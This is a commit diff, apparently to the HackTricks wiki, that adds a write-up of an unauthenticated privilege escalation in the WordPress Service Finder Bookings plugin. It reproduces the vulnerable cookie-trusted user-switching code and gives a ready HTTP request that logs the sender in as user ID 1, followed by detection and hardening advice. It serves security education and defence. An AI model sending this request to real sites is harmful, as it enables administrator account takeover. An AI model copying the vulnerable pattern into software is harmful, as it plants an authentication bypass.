Skip to content

Commit 3a9011a

Browse files
author
HackTricks News Bot
committed
Add content from: Unpatched Privilege Escalation in Service Finder Bookings Pl...
- Remove searchindex.js (auto-generated file)
1 parent 3f2d215 commit 3a9011a

1 file changed

Lines changed: 78 additions & 1 deletion

File tree

src/network-services-pentesting/pentesting-web/wordpress.md

Lines changed: 78 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -608,6 +608,81 @@ add_action( 'profile_update', function( $user_id ) {
608608

609609
---
610610

611+
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
612+
613+
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
614+
615+
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
616+
617+
```php
618+
function service_finder_submit_user_form(){
619+
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
620+
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
621+
service_finder_switch_user($user_id);
622+
}
623+
if ( isset($_GET['switch_back']) ) {
624+
service_finder_switch_back();
625+
}
626+
}
627+
add_action('init', 'service_finder_submit_user_form');
628+
629+
function service_finder_switch_back() {
630+
if ( isset($_COOKIE['original_user_id']) ) {
631+
$uid = intval($_COOKIE['original_user_id']);
632+
if ( get_userdata($uid) ) {
633+
wp_set_current_user($uid);
634+
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
635+
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
636+
setcookie('original_user_id', '', time() - 3600, '/');
637+
wp_redirect( admin_url('admin.php?page=candidates') );
638+
exit;
639+
}
640+
wp_die('Original user not found.');
641+
}
642+
wp_die('No original user found to switch back to.');
643+
}
644+
```
645+
646+
Why it’s exploitable
647+
648+
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
649+
- Identity is derived from a client-modifiable cookie (`original_user_id`).
650+
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
651+
652+
Exploitation (unauthenticated)
653+
654+
```http
655+
GET /?switch_back=1 HTTP/1.1
656+
Host: victim.example
657+
Cookie: original_user_id=1
658+
User-Agent: PoC
659+
Connection: close
660+
```
661+
662+
Expected success indicators
663+
664+
- Redirect to a plugin page (e.g., `/wp-admin/admin.php?page=candidates`).
665+
- New WordPress auth cookies issued; browser session becomes that user (ID 1 is commonly the first admin).
666+
667+
Detection checklist
668+
669+
- Access logs showing `?switch_back` (or `?switch_user=<id>`) in unauthenticated requests immediately followed by WordPress auth cookie issuance and a redirect to admin pages.
670+
- Inbound requests carrying `Cookie: original_user_id=*` on public endpoints.
671+
- Error pages triggered by `wp_die('Original user not found')` / `wp_die('No original user found…')` indicating probing.
672+
673+
Hardening
674+
675+
- Do not place login/state-changing flows on public `init`. Use `admin_post_*`/`wp_ajax_*` handlers and enforce `is_user_logged_in()` plus strong capability checks (e.g., `current_user_can('administrator')`).
676+
- Never derive identity from client cookies. Store the “original user” server-side (user meta) or use a signed, expiring token bound to the actor and verify it.
677+
- Make state-changing actions POST-only and require CSRF nonces (`check_admin_referer()` / `wp_verify_nonce()`).
678+
- Remove any `wp_ajax_nopriv_` exposure for these flows.
679+
680+
Impact
681+
682+
- Unauthenticated privilege escalation to any account, including administrator, leading to full site takeover.
683+
684+
---
685+
611686
### WAF considerations for WordPress/plugin CVEs
612687

613688
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
@@ -722,5 +797,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
722797
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
723798
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
724799
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
800+
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
801+
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
725802

726-
{{#include ../../banners/hacktricks-training.md}}
803+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)